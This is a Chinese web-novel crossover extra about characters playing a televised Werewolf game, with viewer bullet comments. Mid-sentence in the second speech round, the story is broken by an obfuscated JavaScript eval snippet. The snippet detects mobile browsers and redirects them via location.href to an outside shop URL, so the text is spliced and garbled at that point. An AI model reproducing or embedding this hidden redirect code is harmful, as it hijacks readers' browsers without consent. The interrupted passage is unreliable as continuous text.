《番外合集》 1. 狼人杀(上) 写在前面: (《be狂魔求生系统》、《我只喜欢你的人设》和《营业悖论》三书联动番外,没看全三本书的不建议观看本番外。 时间线是小悖正文完结,卡莱多一巡结束之后,听觉未公开 太多想看三对cp狼人杀了,随便写写,无逻辑看个热闹,不了解狼人杀游戏的不建议阅读。 【喜欢说“为了xxx降智xxx”的建议别看,就是怕看到这种评论才不想在某一本正文写联动,每次为了写这种烧脑剧情我花了很多功夫,让每个人都几乎平衡,一句降智给我全盘否定,没必要,喜欢哪个主角去看哪个主角的书就行(求你了),狼人杀总归有输有赢,实在不行你自己写也可以,我只是给部分想看联动的读者写的福利番外。】 这盘是最基础的预女猎九人局,没有丘比特,没有丘比特,没有丘比特 村民视角读者读起来比较难,上帝视角纯粹娱乐,所以这一场选取了带身份的方觉夏视角。视角会影响判断,每个角色玩法不同,请勿站在上帝视角指责某个角色发挥不好。) 狼人杀术语科普: 焊跳预言家:狼人跳预言家身份 上警:天亮后尚未报第一晚死亡结果之前,想要竞选警长的玩家可以举手上警竞选,每人说一段话,由不上警的玩家给他们投票。拿到警长的玩家有归票权,他个人的票计1.5票。 退水:本来举手参加警上竞选,后来又放弃竞选。退水的人也没有投票权。 金水:预言家验出来的好人 银水:女巫用解药救过的人,没有金水身份高,因为不排除狼人自刀骗解药的情况。 警徽流:预言家竞选警长是为了拿警徽,哪怕预言家死了,用传递警徽的方式也可以无形中报验人,警徽流就是他后两晚要验哪两个人,如果他死了又验出金水,警徽就给金水,如果验出狼人,撕掉警徽,场上玩家就知道警徽流的人是查杀。 倒钩:狼人钻好人阵营假装好人 抿人:一般是抿神的身份,就是狼在场上找神 正文开始: —————— 依照之前的惯例,在《逃出生天》结束之后,子节目《逃出狼人镇》又在广大观众的千呼万唤中上线。可惜的是翟缨因为海外巡演无法来到现场,为了凑齐标准九人局,节目组特意邀请了卡莱多的贺子炎和路远前来参加。九个人凑齐在《逃狼》的演播室,按照节目组的安排落座。 许其琛来之前没怎么吃饭,夏知许拿了一包糖拆开,一不小心力度大了,“卧槽。”糖飞的一桌子都是,路远和贺子炎满桌子帮他捡糖,许其琛捡了离自己最近的一颗,乖巧剥开塞进嘴里,还顺手给方觉夏拿了一颗。 裴听颂和方觉夏的位置隔了点距离,他表面上趴在桌子上,跟只小狗似的,桌子底下的大长腿就没有停过,一直拿脚勾着方觉夏的脚,方觉夏抿着嘴笑,把自己的脚往回收,企图躲开裴听颂。 谁知裴听颂这一下直接勾到了周自珩,周自珩咳嗽了一声,“找错人了。” 夏习清一脚踢到裴听颂伸直的膝盖窝,“再骚哥哥把你腿掰断。” “就是。”商思睿就跟狗仗人势的小博美似的,趴在夏习清肩膀上威胁他的小魔王师弟,“再秀我就掀桌布了。” 裴听颂切了一声,“今天首刀首验首毒三三。” 几个人玩了一下,节目组准备好直播机位,正式开始。 “欢迎各位来到我们的《逃出狼人镇》,本局游戏采用九人基础板,三村民,三神职,三狼人,神职分为预言家、女巫和猎人。狼人每晚可以选择杀死一名玩家,预言家每晚可以指定一名玩家查验身份,女巫有一瓶解药,可使用解药救人,还有一瓶毒药,可以毒杀一名玩家,注意,女巫不可自救。猎人死亡时可以发动技能开枪带走一名玩家,猎人被毒则不可开枪。白天所有玩家可以实行公投权利,选择一名玩家公投出局。本轮为屠边局,狼人杀死全部神职或全部村民,则狼人获胜,若狼人全部死亡,则好人获胜。” “下面为观众们介绍本次游戏的玩家。”法官的背景音出现,对准圆桌的镜头切换到了商思睿身上。他的面前摆着一个很大的数字灯牌1,“首先是1号商思睿。” 商思睿立刻露出非常元气的笑容,两手举起来和镜头挥手,“大家好啊,我就是最害怕拿预言家的三三商思睿!” 弹幕飞速闪过。 [三三!!卷毛三三好可爱!] [hahaha我还记得三三拿预言家被一堆人跳预言家的场景哈哈哈] 镜头切换到了2号,还没说话,弹幕就已经炸开。 [啊啊啊啊啊xqgg!] “Hello.”夏习清笑得很天使,“我是2号夏习清,玩游戏清清白白的那个清。” [哈哈哈哈清清白白夏习清!] 镜头再次切换,到贺子炎的脸上,弹幕的女友粉开始了狂欢。 “大家好我是三号贺子炎,很开心来到逃出狼人镇充数。”大家都笑起来,他又很快正经回来,“没有没有,我会努力的。” 四号是周自珩,他很简单地做了自我介绍。每次玩游戏的时候周自珩就会摆出很认真的架势,不管是狼人杀还是逃出生天,和他私底下不太一样。 到了方觉夏,他对着镜头露出一个淡淡的笑,“我是方觉夏,5号。” [啊啊啊啊啊觉夏哥哥也太美了!头发梳上去露出小胎记真好看!] 六号路远拿肩膀撞了一下方觉夏,“这么简单的吗?” 方觉夏认真点头,然后对着镜头指了指身边的路远,帮他说了开场白,“大家好他是我的队友路远,6号。” “哈哈把你的也一起介绍了。”拿着七号牌的夏知许笑得很是阳光,小虎牙非常可爱,“那我可直接来了,我是夏知许,逃出狼人镇特供嘉宾,你们万能许编的家属。” [啊啊啊啊编剧组好甜!] [你也是清清白白夏习清的家属啊] [夏家三千金今天没凑齐,有点可惜。] 到了八号,裴听颂挑了挑眉,“Yo,我是裴听颂,你们黑骑士方觉夏的……”大喘气之后他笑起来,“队友,他的好弟弟。” [啧啧啧啧啧] [天秀裴听颂] 最后一个是许其琛,他对着镜头露出一个轻松温柔的笑,“大家好我是你们的老朋友许其琛,也是今天的9号。” [琛琛好乖!] 所有嘉宾介绍完毕,游戏正式开始。节目组安排九个人摸了底牌,方觉夏抽出来看了一眼,他竟然抽到了女巫牌。 第一时间,方觉夏就在担心天黑的事,希望法官给信息的时候不要因为他看不清出现场外信息。 法官开口,直接进入天黑,“天黑请闭眼。狼人请睁眼,狼人请确认你们的同伴。” 戴着面具的方觉夏开始计数,心里的小时钟走了五秒,又听见法官再一次开口,“狼人请杀人。” “狼人请闭眼,预言家请睁眼,预言家请指定你要验证的对象。” “他是这个。好的,预言家请闭眼。” 预言家验人的时间比方觉夏想象中快。 “女巫请睁眼。” 方觉夏轻手轻脚取下自己的面具,眯着眼张望着法官的方向。 [天哪觉夏哥哥能看见吗?] “今晚死的是他。” 没想到工作人员出现在方觉夏背后,在他手上写了一个数字9,方觉夏立刻点头。 “你有一瓶解药,请问你要使用吗?” 三狼局自刀骗药的可能性不大,何况死的是一项稳扎稳打的许其琛,许其琛不像自刀的人。方觉夏简单思考后点了头,比了个表示要救的大拇指。 “你有一瓶毒药,请问你要使用吗?” 方觉夏摇了摇头,戴上了面具。 “天亮了。”法官话音刚落,演播室的灯光再一次亮起,“现在开始警上竞选,参加警上竞选的玩家请举手。” 方觉夏下意识想要举手,但看到齐刷刷一片举手的人,他犹豫了。狼队或许会有在台下等着给自己的狼队友冲票的人,为了好人团队,他没有上警。 而且对方觉夏来说,在警下听一圈发言盘一盘逻辑也是不错的选择。 “好,现在除了1号商思睿和5号方觉夏,其余玩家全部上警。下面请从2号玩家开始升序发言。” 第一个发言的就是夏习清,方觉夏也不知道是不是自己看他玩游戏看得太多,心里竟然有一种夏习清开口就会跳预言家的感觉。 “我,夏习清,全场唯一真预言家。” 还真是。方觉夏的眼睛都睁大了点。他还算好的,有几个已经憋不住笑了起来。 [xxq——全场唯一一匹预言家] “笑什么,请尊重游戏好吧。”夏习清扭头隔了几个人看向夏知许,冲他wink了一下,“侄子,不好意思了,上来就查杀了你。” 夏知许做作地睁大了眼睛,然后眯起了眼睛一脸怀疑。贺子炎无声地做了个wow的口型。方觉夏盯着夏习清的表情,感觉他一直在观察夏知许。 夏习清稍微正色,“没跟你们开玩笑,我是预言家,第一晚查杀了夏知许,我不跟你们扯什么心路历程,我查夏知许就是二十几年私仇,大家都知道。结果巧不巧,就被我查杀了,这就是反派的下场。” [哈哈哈哈到底谁比较像反派啊] [叔侄党真的相爱相杀一百年] “警徽流我先验警下商思睿,警下不可能没狼吧,先验一个再说,警上我验个中间位置,就周自珩吧。” 这个警徽流倒是没什么问题。方觉夏看了看场上情况,1号4号7号,格局打开好排狼坑。只是夏习清玩得太脏,他跳预言家可信度实在太低。 夏习清一只手拖着腮,看着全场懒懒道,“我难得真的拿一次预言家,不想扯虚头巴脑的了。再强调一遍,我就是真预言家,查杀七号警徽流1、4顺验,今天我必须拿警徽全票跟我出查杀。后面肯定有人要跳预言家,没关系,焊跳全部标狼打。过。” 3号贺子炎笑了笑,“好刺激啊,上来就这么重的杀气。三号是个好人,不跳预言家,那现在出了一个预言家,给七号知许发了一个查杀,这个预言家我不能完全信下来说真的,我这个位置也聊不出更多的信息。我只能说我是个好人,我上来竞选就是为了多说几句,而且我很怕投票。后面的玩家表演吧。过。” 方觉夏看着贺子炎,他的表现看起来就像是一个夜里不睁眼的玩家。 到了周自珩,他表情严肃,可语速却一反常态地快,“警徽流先6后8,5金水。” [草!又是你!] 果然又出现了一个预言家,还给了他金水。方觉夏看向周自珩,他先报警徽流后报验人语速这么快,大概率是害怕狼队自爆。这看起来倒满像是一个真预言家的心态。 飞速说完,周自珩看向夏习清,礼节性地问了一句:“你爆不爆,不爆我继续了?” 夏习清也看着他笑,手指一下一下点在桌面上,不说话。 周自珩继续,“我一听到习清跳预言家,我心里就咯噔一下,就怕他突然自爆害我说不完。 [哈哈哈哈哈太真实了。] [怎么我的自习永远是对手哈哈哈哈] “我现在讲一下心路历程,为什么验觉夏,他倒钩能力很强,之前玩过几盘完全是隐狼,不放心就先验一下,金水我就放心了。”说完他冲着方觉夏微笑了一下,方觉夏自然也回了个微笑。 “觉夏的逻辑很强,希望这盘好好听发言帮好人玩。警徽流为什么先6号路远,我觉得不太可能三狼上警,一定有狼在下面冲票,五号觉夏是金水那1号思睿狼面就很大了,习清到现在都不退水我肯定就标狼打,可能是我警徽流说太快习清自爆也收益不大所以现在也不自爆了。1号思睿和2号习清在我这里都有狼面,所以三号子炎我倾向于是好人,不可能123连三狼吧,后置位必定要开狼。” 顺着他的思路,方觉夏看向后置位的6号路远、7号夏知许、8号裴听颂和9号许其琛。 “6和7我倾向于6吧。如果7号知许是狼的话,你们狼队上来就狼踩狼,要是夏习清没拿到警徽不就血崩了,感觉不太划算,所以我先验一下6号路远,如果路远是金水,排狼坑7号也跑不了。第二轮验一下8号小裴,如果思睿不是狼,八和九还要开一个狼。” 这番话说得几乎没破绽。方觉夏心里的天平不自觉就倒向了周自珩。之前夏习清查杀夏知许的眼神就已经让他怀疑,现在周自珩跳个预言家,心路历程这么饱满,发言也很阳光,他心里这个预言家的面更大一些。 但一切都说不准,夏习清玩游戏没定数。 周自珩已然收尾,“这个思路没问题吧,警徽飞给我,5金水,68顺验。过。” 他刚说完,贺子炎就退了水。轮到6号路远,他的表情一如既往地轻松,甚至有点乱入到这个游戏的感觉,“6号突然就被高玩放进警徽流了好荣幸啊,本来我想说验我挺浪费的,我是一个阳光plus的身份。不过后来我一听自珩的打法验我只是排狼坑,那我就放心了。现在这两个预言家我暂信自珩吧,他的发言不像是焊跳,心路历程太完整了完全就是预言家视角。但是我也不敢踩2号。”说完他还十分狗腿地朝着夏习清笑了笑,求生欲旺盛。 “2号和4号跳预言家,3号说完之后就退水了,我感觉身份还是比较做好的。那2和4开一狼,后置位肯定有狼,我还是听听后置位发言,而且习清给7号知许发了一个查杀,这我就要好好听一下了。” 这发言听着没什么大问题。方觉夏看向焦点牌7号,夏知许的表情比他想象中轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727009|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松,小虎牙还透着股嚣张的意味。 “7号发言。”夏知许看向夏习清,摇了摇头,“2号上来就给我7号一个查杀,啧,我不清楚你2号什么目的,反正你这个查杀直接踢到铁板了,我是一个可以自证身份的牌。我可以晚上吃刀但是我不接受被推。” [woc这么刺激,查杀发给强神?] 自证身份,可以吃刀不能被推,那不就是女巫? 方觉夏面儿上波澜不惊,心里已经过了好几种可能。夏知许这时候穿他女巫的衣服,要么是民,想苟一波不被抗推出局,要么就是真查杀,穿强神衣服刚下去顺便诈女巫。 “习清你别紧张,没准儿你只是想诈我身份,”夏知许的视线从夏习清身上移开,扫了一眼全场,“我现在先不踩你2号,你退水的话我还不会把你标狼打。4号自珩发言一直稳,这是一个听发言盘逻辑的游戏,自珩发言上更像预言家一点。” 说到这里,夏知许又看回夏习清,“你现在都不退水是吧,那我也只能把你标狼打了,你吃我毒吧。后面我猜也不会有你的狼同伴跳预言家了吧,我等着看戏,过。” 方觉夏面无表情,眼神在这几个人里来回扫了扫。 “8号发言。”裴听颂伸了个大大的懒腰,然后趴到桌子上,歪着脑袋看向前置位的方向,拿手指点了点,“2号和4号真假预言家,3号在4号发言之后退水,那你3号也认他4号是真的?后面的6号7号全都跟了4号这个预言家,都说4号自珩哥发言好,像预言家。” 他突然笑了一下,“不是,这游戏什么时候这么玩了?2号起身给7号发查杀,照你们这血海深仇的,我还以为7号知许哥会原地起跳预言家,给2号习清哥发个反查杀呢,结果居然是模棱两可地拍出一个女巫身份,还不明说,说什么可以死在夜里不可以被抗推……怪怪的。 4号自珩哥给警下发了个金水,力度可以说是最小的了,警下一般很少很少会反你的水,不管是你的狼队友还是真好人,而且他们也没办法在警上说话。抓住这一点发金水,然后所有人都说逻辑好是真预言家。我不懂,发警下一张金水是想号票?” 裴听颂说着,看向商思睿,“4号的话里保了3号火哥,正好4号一说完3号就退水,巧不巧,跟商量好似的。” 贺子炎一副无辜的表情,哭笑不得。 [小魔王踩得好狠啊] [不愧是虎子哈哈哈哈] 裴听颂坐起来,“这样,我们盘个双边逻辑。如果自珩哥是狼焊跳,那3号火哥这个位子我怀疑,不过3、4、5连开三狼我觉得不太可能,所以5号觉夏这个金水可能是真金水,毕竟狼队是知道谁是好人的。” 听到这句话,一向表情管理出色的方觉夏嘴角忍不住微微上扬,倒不是因为他说自己是好人,只是裴听颂这发言实在太狠。 [踩了全场只说觉夏是好人,kdlkdl] [裴小虎:除了老婆都是坏人!] 说完他看向夏知许,“7号知许哥都被查杀了,习清哥你不要告诉我你真的是诈身份,7都说他可以自证身份了你都不退水。这样,7我容错吧,7和9开一狼,9号许编我听发言再判断,但许编一向是发言王者,不好说。没准儿他一会儿还跳个预言家,那就精彩了。 如果4是真预言家,那2号习清哥就是铁狼,习清哥的警徽流留的是1号商思睿和4号周自珩,警徽流里怎么也要留一个队友吧,肯定是1号了,正好1号三三也在警下,很吻合。后置位要开狼,6号站边自珩哥,7是狼预言家查杀,那9就有点危险了,6和9开一狼。” 说完,裴听颂笑着看向自己身边的许其琛,“反正正反两套逻辑,9都要进狼坑,许编好好发言,我听着呢。” 裴听颂这一套发言虽然开场很凶,但仔细听下来倒也没有大问题,双边逻辑都点出了狼坑。方觉夏现在有点担心接下来的警长竞选投票,他手上这一票,决定之后的警长是谁。 许其琛接过话,表情淡定,“两个预言家我现在都没办法相信。听发言的话,自珩更像是真预言家,但有一点,如果他是真的预言家,即便留了警徽流习清也会爆,这一局没有警徽,真预言家也报不了验人。所以习清至今不爆,就让我有点怀疑周自珩的预言家身份。” 这一点倒是和方觉夏想得不谋而合,对夏习清来说,只要诈出真预言家,他就有可能自爆指刀,以他抿神的能力,第一天就指出神并不难。 “但没准儿是自爆玩家的新打法,做低真预言家身份。”许其琛继续说,“所以我建议,先留一轮两个预言家,听听验人。8号小裴踩了一圈,最后踩我9号,我不能接受,可以盘双边,但你的逻辑很奇怪,正逻辑里你认了夏习清是真预言家,你又认不下7这头查杀狼,觉得他是诈身份,所以强行把我9盘到狼坑。如果你信了习清预言家,查杀是稳稳的铁狼吧。” [许编国服第一找漏洞能手。] “再看反逻辑,你认周自珩是预言家,周自珩把你放警徽流,你和我验一砸一,你还怕什么。我9号好人一个,怎么盘都进不了你的狼坑。所以如果习清是预言家,1和3开一狼,4和7 铁狼,如果自珩是真预言家,2铁狼,1、6、8开两狼。不过……” 许其琛皱了皱眉,“你说的有一点是有道理的,7号知许被查杀,起身穿了女巫衣服,这一块他的发言有点怪,不像是他拿神的状态,知许拿神的时候打得很猛,预言家都不放在眼里。” [hahaha太了解了] [这一对对的真不是来秀恩爱的吗?] “其实6号路远的发言我感觉像是偏向好人的,状态很轻松,虽然站边但是我记得他没有踩死2号习清。”说完他推了推鼻梁上的眼镜,看向方觉夏,“总之我等下会认真观察警下的票型,警下我觉得会有一狼。我的发言完毕。” 信息量太大,方觉夏垂下眼陷入思考。 无论如何,警下现在只有思睿和他两人,三狼上警太冒险,这样一看,思睿的狼面的确很大。 思睿会投给谁,这一点很关键。他在夏习清的第一警徽流里,警徽流第二个验的周自珩和他对跳预言家,如果警徽流里真的有习清的狼队友…… 应该只可能是思睿。 法官开口道:“警上发言完毕,3号贺子炎、6号路远、8号裴听颂、9号许其琛四人退水。现在开始投票。” 思考一番,方觉夏最后还是举手比了个4,投给了周自珩。 可他没想到的是,商思睿竟然也投给了周自珩。 “1号商思睿、5号方觉夏投给4号周自珩。4号玩家当选警长。” 方觉夏看了一眼夏习清的表情,不太好看但也不算难看。 难不成夏习清真的没有团队,还是说这是一盘怂狼局? 法官公布第一晚的情况,“昨晚是平安夜,无人死亡。” 2. 狼人杀(中) 亲手把许其琛救起来的方觉夏自然没有太大反应,场上的众人也都算镇定。方觉夏对刚才的票型耿耿于怀,商思睿投给周自珩是他没有想到的,本以为自己这张票上到周自珩身上,会让两个预言家可以上pk台再辩一次…… 可是如果夏习清是真预言家,为什么心路历程也不聊,发查杀的时候还在观察夏知许的表情?这一点实在是太不做好。 “请警长指定发言顺序,警左或警右?” 周自珩指了指左边。 “警左。请3号玩家贺子炎发言。” 贺子炎点头,看向镜头,“昨晚是平安夜,也就是说女巫开药救人了。说到女巫,”说着他看向夏知许,“7号知许接预言家查杀跳强神身份,而预言家习清也没有退水,只有两种情况,要么他是狼,要么你7号是狼。之前小裴踩我身份是因为我被4号自珩保了一下,而且我退水的时机很凑巧,其实我当时退水的确是认可了自珩的心路历程,狼人杀是一个听发言盘逻辑的游戏,一个预言家说‘我就是因为私仇要验某人’,而另一个说‘我验某人是因为他逻辑好很会倒钩,我希望验明身份帮助好人’,这两种心路历程我当然选后者,何况后者语速加快害怕被爆也很像是真预言家,两个预言家你总得站一个,否则等于没有预言家,不是吗?” 这番话说得也不无道理,方觉夏想,就算是自己来分析,怎么看也都觉得周自珩更像是预言家,他发言没破绽,逻辑也缜密,心态更是阳光,唯一值得怀疑的是夏习清在警上期间一直没有爆,这一点引人怀疑。 “所以我选择站边周自珩,在我的视角来看也没有任何问题,如果真的站边错了我也认。”贺子炎继续表水,“我是一个铁好人,我从我的视角出发来看知许被发查杀起跳这件事,我倾向于觉得知许是穿了女巫衣服,而且更倾向于是民穿了女巫衣服,因为我觉得狼踩狼收益真的很低,如果习清真的是狼预言家,给自己的狼队友发查杀,就他玩得这么脏,本来大家就不愿意相信他是真预言家,还把自己的队友打成焦点牌,得不偿失啊。” 说到玩得脏,台上的人都不约而同的笑起来,连夏习清自己都笑了。 狼踩狼这一局的确不划算,无论夏习清跳预言家,还是夏知许跳预言家,他们两的风格相似,都不被村民信任,就算对调成夏知许预言家给夏习清发查杀,也会让局面变成现在这样。 “所以我倾向于觉得知许是被污的,我的狼坑就是1号思睿,小怂狼,看见自己的狼队友没能取得大家信任,不敢给自己的狼队友上票。” 商思睿一听,又不能出声儿反驳,只好不满地撅起了嘴。 “然后2号焊跳狼,给后置位好人发查杀,”贺子炎看了看后置位,“5号觉夏是预言家发的金水,所以最后一狼我觉得是路远。” [哈哈哈说好的队友情呢?] 路远的眼睛都瞪大了,口型比了个why。 贺子炎分析道,“我感觉流啊,小裴打得这么彪悍,很像是身份牌。9号许编发言太阳光了,目前停下来我就觉得自珩和许编发言真的是极度阳光,而且还有一点。如果狼队的配置是习清、思睿和许编,一定是许编焊跳啊,他自带好人光环,怎么会沦落到习清跳呢。” “哈哈哈!”几个人都不约而同笑起来。 这倒是个很新鲜的分析方法。气氛一下子轻松很多,方觉夏也勾起嘴角。 “换个角度,如果狼队配置是习清、思睿和小裴,小裴就直接打冲锋了。但如果是习清、思睿和路远,习清带不动这俩货,肯定只能自己焊跳了。” [哈哈哈哈哈我竟然无法反驳] [这个反向逆推好有道理哈哈哈哈哈] 夏习清摇了摇头,给贺子炎比了个大拇指,像是放弃治疗的意思。 “我瞎说的啊,我只是给大家说说我的想法,盘个狼坑,别一会儿说我没盘狼坑拿这一点打我。”贺子炎耸耸肩,“玩儿游戏嘛,轻松一点。过。” 到了夏习清,他深吸了一口气,但脸上的表情依旧不好看,“可能是一开始我发言没有那么好,我很少拿预言家,而且经常焊跳预言家,给大家造成一种不容易信任的感觉。但是我就跟你们盘一个逻辑,但凡我是狼,我自爆撕警徽是不是比我扛推出局收益大,既然已经没有人信我是预言家了。我为什么不自爆,你们以为我不想吗?”夏习清看了一圈众人,“我没这个功能啊。” 大家又笑了起来。 夏习清靠在椅子上,眼睛短暂地和方觉夏对视,“五号觉夏,你在下面投票也投给了周自珩,这样我跟你五号对话。你投给周自珩可能也是因为他发言好。但是不是只有发言有用的,票型你也得看吧,警下两张票没有人投我,那请问我的队友在哪里?你们盘的狼坑,1号商思睿,7号夏知许,还有谁?68开一狼?这些人谁站了我?就只有8号小裴一个人软站边了我2号,后来又盘了双边逻辑也不算站我。再没有其他人。我狼队友呢?我狼队友是寂寞吗?” [哈哈哈哈哈哈狼了个寂寞] [草我现在听谁说话都觉得是真的] [语速好快我有点跟不上,而且感觉xqgg这次有点急] [xq是有点情绪流的打法的,不是激起别人的情绪就是自己带情绪表演,所以很有迷惑性] “7号夏知许那个发言,被查杀之后反手立一个女巫身份坐得住?你既然都认了女巫了你为什么不报你的银水?你是想诈女巫身份吧。”说完他看向商思睿,“1号我不知道为什么你会上票给一个把你标狼的预言家,难不成你就是那个被狼警长抛弃的小怂狼?不过我不踩死你,不把你标狼,我照样验你,因为今天会玩的人多,三狼上警也很不是不可能。” 夏习清两手交叠看向其他人,“三狼上警的话8号小裴和9号琛琛肯定要开一个狼,小裴我有点不相信他是狼,裴听颂不像是打倒钩的人,他打倒钩就太不要脸了,这么虎不冲锋对得起你的论坛高楼吗?周自珩和夏知许双狼裸奔了你们不推就太不像话了。反正我也活不过今晚给不了你们多的验人,信我点的狼坑就直接投。几天票7号,”说着他想了想,“不,还是先撕警徽,狼警必须死。过。” 方觉夏一路盯着夏习清,有过好几次眼神交汇。 他为什么要“特意”与他对话。 目的是什么?号票? 方觉夏总觉得哪里不对劲,就像是一道没有填满的数独题,他现在面对着的就是中间仅剩的一点空白。 镜头来到商思睿的身上,“1号商思睿发言,我快憋死了,本来我在不上警就是怕万一上警说错话被打成焦点牌,没想到9人局你们居然7人上警,我当时都惊呆了,我猫在警下不发言居然都成了焦点牌,谁能想到。” 这倒是挺像商思睿的风格,商思睿日常不爱上警,之前拿了预言家牌验出金水也躲着。 “我表表水,我是一个平平无奇的小村民,晚上不睁眼白天也看不清的那种。我之所以投给自珩,是因为自珩的发言真的完全就是预言家该有的标准发言啊。是,他的确是把我盘到他心中的狼坑了,但是我知道他之后会验人,这一轮也不该是我的轮次,所以我当然是希望真预言家拿警徽,我是一个完全帮助好人玩的心态,如果我就是因为被他怀疑一下子就投给习清,这才是不尊重底牌吧。” 说完他看向夏习清,“习清我真的没办法相信,我在警下观察你拍查杀的时候,你一直在盯着知许看,照理来说你晚上验了他是查杀,应该一起神就直接报你的查杀,你看他干什么呢?可能你是为了节目效果?反正这一点让我不相信你是真预言家。” 这算是打到痛处了,方觉夏看向夏习清,观察他的表情。可夏习清也没有太多表情,他从商思睿那儿撇过脸,不小心又和方觉夏对视上。 他挑了挑眉,方觉夏也只是直视他。 “但是刚刚,我听习清的发言,我又觉得他说的也有道理,他的确是没有团队的,而且我之前和他一起玩过,他在狼队是会安排布局的,谁配合谁冲锋他都会安排好,不至于像现在打得这么狼狈。所以我现在又有点纠结了。”商思睿一脸苦恼的样子,“我还要在听听发言,我现在有点迷。总之我是个村民,过了。” [我觉得我的心路历程和ssr一样……] 镜头来到了9号许其琛的身上,“习清刚到了现在,让我有点想相信你了。” 刚说完,夏习清就朝许其琛抛去一个飞吻,把他逗笑。 [啊啊许编和xqgg的cp我也可以!] “不过思睿提到的你查杀状态,我也持怀疑态度,我现在很害怕狼踩狼,但是你们狼踩狼收益真的太低了,你应该比谁都清楚你很难获取其他人的信任。你们两个预言家都有自己可信的一面,说真的,所以我还是希望这一轮两个都留下。” “再来说说3号贺子炎,明显没有上一轮划水了,说了很多,主要是还站边了4号预言家,踩了6号路远。1号商思睿认民,你的位置的确很敏感,你是警下一张没有金水的牌,不能怪大家把你看成是焦点。而且你一直在变,警上投给了周自珩,现在发言又倒向夏习清,我不知道是你确实视角模糊还是在搅混水,在我这里你还是有很大的狼面。7号……” 许其琛一脸严肃地看向夏知许,没想到夏知许居然冲他眨了眨眼,害得他冷静的表情管理一下子破功。 [哦哟~~~好甜~] [虎牙太可爱了!] 但许其琛还是勉强憋住了笑,继续发言:“7号夏知许,我倾向于这一轮你投出去。” “啊?”夏知许忍不住发出一声委屈的疑问。 [哈哈哈哈哈铁面无私许甜甜] “我怎么想都觉得你的女巫跳得太不像你平时的打法,甚至有点没有料到会被查杀,措手不及之下选择跳强神自保的感觉。认民表水对你来说没什么用,因为你也玩得很脏,没有人会信你认民,反查杀的话,你需要跳预言家临场编出一堆心路历程,这样很冒险,对你来说跳神最轻松。还有一点。”许其琛看向他,“你跳女巫的时候眼睛是看着场上的人的,你是在找女巫吗?” 夏知许笑着耸了耸肩,小虎牙很嚣张。 “被查杀之后跳女巫,但凡女巫是个不会玩的,就要跳出来了。我赌你不是真女巫,不然你警上就会报验人,你不敢。”许其琛收回眼神,“我坚持今晚留一轮预言家,我倒是很好奇今晚谁死。我的发言完毕。” 许其琛一向是逻辑缜密的类型,这番话更多了点底气。方觉夏凝视着许其琛,心里忽然有了点想法。 “8号玩家发言。”裴听颂开麦,手指拨着面前的一个玩偶小摆设。方觉夏再了解他不过,这家伙思考的时候就喜欢转笔,手里必须得有点什么,现在肯定很不习惯。 “我之前盘了双边逻辑,说如果习清哥是真预言家7号也不一定是铁狼,9号许编拿这一点打我,但有一点我得澄清,我的逻辑基点是我两边预言家都不站,我站在中间立场去看他夏习清拿预言家,就是有可能拍查杀来诈夏知许身份的。当然了,至于是不是真的狼,只有夏知许自己心里清楚。我觉得我这么分析没问题。” 说完他看着许其琛笑了一下,“何况我也没踩你,两个预言家都说八和九开一狼,我看清我底牌好人情况下,那你是不是有狼面?不过有一说一,7号当时结束发言的时候说了这么一句话,‘你2号在我这标狼打了,我猜后面也不会再有你的狼队友焊跳了吧’,这句话就很迷。”他歪着头看向夏知许,朝他挑了挑眉,“哥,你是在暗示你的狼队友焊跳帮你拍死他?不过好像没有人帮你欸。是你后置位的狼队友太怂了,还是你后置位根本没有狼队友,你就是想做低后置位的身份。” 方觉夏也想起来,他的确说过这句话。小裴就是他后置位,他现在这么直白地点出这一点,胆子倒也很大。 “我如果是狼,巴不得大家没有发现这一点。都不用我表水了,只有好人敢随便盘双边,才敢踩全场,不是吗?”裴听颂看了看大家,“我的发言完毕,至于投谁,我还想听听自珩哥发言,但我会按照自己的想法去投票。过。” 终于轮到了全场的焦点牌夏知许,他状态倒是不错,被这么多人针对一点感觉都没有,脸上还挂着标志性的阳光笑容,“到我了?这一盘打得真是让人心碎。”他看向裴听颂,“弟弟,要不是哥哥我,你昨晚就死了知道吗?” 裴听颂挑了一下眉,露出一个笑。 方觉夏表情轻松地看着这个穿了自己女巫衣服的人表演。他报的银水是假的,但凡这时候他报出一个真银水许其琛,方觉夏就可以将他打死成铁狼,完全不用怀疑,但他的银水是错的,这就成了烟·雾·弹。 夏知许究竟是民为了挡扛推穿女巫衣服,还是故意报错银水诈他身份的狼。 方觉夏心累,最怕和这种玩得花的人一起玩狼人杀了。 夏知许看了一眼许其琛,继续道:“其琛拿我跳女巫身份这一点打我。我一个神牌被发查杀为什么一定要在警上报银水自证身份,狼人杀里没有这个规定吧,万一我报出银水,你们又说,你是狼人当然知道晚上死的谁,我不是正反都要被打死。最后我说了一句后面还有没有人焊跳,当然是给你们后置位的两个人施加压力,是为好人办事,现在这种局面已经很混乱了,如果还有狼人焊跳,好人的视野会变成什么样?你么能想象吗?” “我这一局铁站边警长,出这个假预言家没毛病。我今晚如果被刀了,我想想……自珩你警徽流是不是留的路远和小裴?那我就1号和9号选一个撒毒,如果我死了。过。” 说得跟真的似的,是多不想被扛推出去。 路远开始了发言,“6号发言,警上的时候自珩的发言真的很好,对我来说跳不出什么错,”路远的状态依旧轻松,说说笑笑的,“不过那是我上警时的想法,我现在也变了。自珩保了3号子炎,结果子炎就踩我是狼,我都说了我不怕验,随便验。而且踩我的原因居然是加我才会变成现在的战术,这个反推太骚了。那如果自珩是狼,带你打配合也说得通啊。” [又是销户卡团魂丧失的一天哈哈哈哈] “我觉得现在还是好人领先的,知许这个女巫我还是不认,我觉得许编说的没错,你这个跳神跳得就很仓促,别人给你查杀你就跳了女巫,说你没有报银水你就报了一个,挤牙膏儿似的,一点都不严谨。虽然我很难相信习清,但是他确实没团队啊。我反正是个好人,是神还是民你们自己猜。先过了吧。” 终于轮到了方觉夏,他清了清嗓子。 “这是我第一轮发言,信息量有点爆炸。”方觉夏看了看桌上其他人,“我分几点来说。” [hahahaha不愧是你方老师] 